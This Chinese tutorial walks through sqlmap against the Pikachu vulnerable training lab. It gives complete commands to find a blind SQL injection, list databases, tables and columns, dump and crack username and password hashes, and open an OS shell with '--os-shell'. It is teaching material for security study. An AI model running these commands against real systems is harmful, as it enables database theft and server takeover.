5-15sqlmap工具使用入门及案例演示

SQL Inject漏洞之sqlmap的使用

 sqlmap简介
 sqlmap经典6步法及常用技巧
 使用sqlmap进行盲注的自动化测试

sqlmap简介

我们之前讲sql案例的时候,我们都是用手工的方法去测试,但是实际上,用手工的方法比较麻烦,而在实际的工作当中,为了提高效率,我们往往会使用相关的自动化工具去做测试,但是前提条件是,我们一定要把这些漏洞的原理搞清楚,所以,我们之前讲的那么多原理和手动测试的一些东西,

what’s sqlmap?
Automatic SQL injection and database takeover tool

自动化测试sql注入和数据库的一个接管工具

sqlmap经典用法

从第一步发现sql注入,到最终获取数据,整个步骤,我们做个相关的演示,我们在pikachu上选盲注做为演示

在这里插入图片描述

首先,我们把输入点找到,我们输入11111

在这里插入图片描述

发现它是get请求,name就是它的输入点,我们把这段复制一下,我们打开sqlmap,

python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=查询"

这个时候,sqlmap就会对我们指定的url参数,去测试它是否存在sql注入漏洞

在这里插入图片描述

测试的时候,它会去尝试不同的payload,然后去看对应的效果

在这里插入图片描述

很快,它就发现name这个参数存在sql注入漏洞

我们可以做进一步的测试,

python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=查询" -current-db

去获取当前数据库的名称

在这里插入图片描述

可以看到,它直接去获取了pikachu数据库的名称,我们拿到数据库的名称,根据,我们之前的逻辑,我们要去拿数据库的表,

python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=查询" -D pikachu --tables

它会遍历里面的表

在这里插入图片描述

拿到这个表后,我们要去拿表里面的列名,也就是users表里面的列名,

python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=查询" -D pikachu -T users --columns

在这里插入图片描述

它很快就把表里面,列的名称给列出来了,拿到列名称之后,我们想去拿password、username,

python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=查询" -D pikachu -T users -C username,password --dump

在这里插入图片描述

这个时候,它已经拿到了里面的数据,但是它发现里面是hash值,我们可以用sqlmap自带的暴力破解的工具跑一下,其实就是用它自带的字典进行碰撞

在这里插入图片描述

sqlmap这个工具是非常强大的,它的功能也是非常多,

第一步:
-u “xxx” --cookie=“yyy”//带上cookie对URL进行注入探测
第二步:
-u “xxx” --cookie=“yyy” –current-db //对数据库名进行获取
第三步:
-u “xxx” --cookie=“yyy” –D pikachu --tables //对数据库的表名进行枚举
第四步:
-u “xxx” --cookie=“yyy” –D pikachu –T users --columns //对dvwa库里面的名为users表的列名进行枚举

sqlmap经典用法

第五步:
-u “xxx” --cookie=“yyy” –D pikachu –T users –C username,password --dump
//探测user表name和password字段
----如果此时得到的密码为密文,SQLmap会自动询问,是否爆破,选择“是”即可开始使用SQLMAP自带的字
典进行爆破。
第六步:-u “xxx” --cookie=“yyy” – -os-shell //获取shell,选择后台语言

sqlmap经典用法

–help // 显示帮助信息
-v x // x=0~6 ,不同的级别显示不同程度的过程信息,数值越大,越详细;
–dbs //列出所有数据库
–users //显示当前登录的用户,root’@‘localhost’
–purge-output //清除之前的缓存日志
–password //对跑出来的密码进行枚举

猜你喜欢

转载自blog.csdn.net/m0_53008479/article/details/125112810